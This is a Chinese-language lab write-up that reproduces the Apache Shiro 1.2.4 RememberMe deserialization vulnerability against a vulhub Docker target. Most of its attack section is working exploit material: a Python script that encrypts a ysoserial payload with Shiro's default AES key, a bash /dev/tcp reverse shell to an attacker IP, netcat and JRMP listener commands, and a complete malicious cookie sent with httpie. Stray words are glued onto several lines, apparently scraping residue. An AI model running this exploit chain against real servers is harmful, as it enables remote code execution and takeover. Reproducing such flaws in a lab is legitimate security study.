漏洞复现系列--Shiro RememberMe 1.2.4 反序列化漏洞

一、漏洞利用前提:
Apache Shiro <= 1.2.4html

二、靶场:
利用vulhub的靶场在服务器上搭建
注:docker相关配置就没有写了,靶场能运行就行java

靶场搭建python

git clone https://github.com/vulhub/vulhub.git
cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d   #启动靶场

启动完靶场以后访问服务器ip所在的8080端口,便可看到靶场界面以下
在这里插入图片描述
二、获取jar包
在攻击机上执行git

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

mvn会生成一个名为ysoserial-0.0.6-SNAPSHOT-all.jar的jar包,将该jar包和poc脚本放在同一目录下
poc代码以下:github

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

我将该脚本命名为shiro_shell.pyweb

三、攻击机上执行脚本生成恶意cookiedocker

python shiro_shell.py 1.1.1.1:1099     #1.1.1.1为你的攻击机ip  端口能够随意变更,可是后面监听的时候也要作相应变更

生成的cookie相似下图
在这里插入图片描述shell

四、反弹shell制做
反弹shell须要加密,网址:http://www.jackson-t.ca/runtime-exec-payloads.html
反弹shell代码以下bash

bash -i >& /dev/tcp/1.1.1.1/7878 0>&1             #1.1.1.1为攻击机ip

五、攻击机监听端口
攻击机1.1.1.1上打开两个窗口,
其中一个窗口监听shell服务器

nc -lvp 7878

另外一个窗口监听JRMP端口

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '加密后的反弹shell'

六、将生成的恶意cookie经过httpie发送
在攻击机1.1.1.1上执行以下代码

http 1.1.1.2:8080/login 'Cookie:rememberMe=UfsKYXK1SIOgFdnOxdPidh09yGZv6Medaj/T0E5sE9xhxMP69kzlNKsEdfHUhTgD12ea7NOv+xRhnZSGhUi9rz1tYVPu5QHfINrMS4I+lTe82RO5PY1vJrmMwP/NnBvjfGtTWTwRSNl1AhNgJrAhrEBStf+cpnBMwmoWxiexDjm2BavY/lSLe52hZhCEcr0zv/kqC9PdhBfY326+ux/RkE0pfwfZNMEUrPIZw8gBJkCIDTb1qj+W32+YinOKCkye/i+GmKHifPoMSt91q0nR/NQnxyu4UJQoULSbCI3/vXKtGm7P+YNqhH6smVPIoTxqtAqWTJG7eOafDPC2azUlhbLcmjql7qDL2wPpv4JOxB0fLIwdkQqSn9DCBty2BfKDqf8I/lvTbKqHHfVIUMdjYQ=='

七、查看攻击机上监听的结果
发现两个端口都会收到消息,
在这里插入图片描述
shell反弹到7878端口
在这里插入图片描述

八、总结 找了不少资料,去试了不少次,另一种方法仍是没有实验成功。也不知道在哪遇到了坑,仍是不懂开发。另一种方法的参考连接:https://www.cnblogs.com/paperpen/p/11312671.html,这种是经过dnslog回显去判断的,可是我按照流程作下来并无成功,除了jar包名称同样,其他的地方几乎都没区别。 参考资料: https://www.jianshu.com/p/0007eafd1f92 https://blog.csdn.net/qq_41954384/article/details/101694539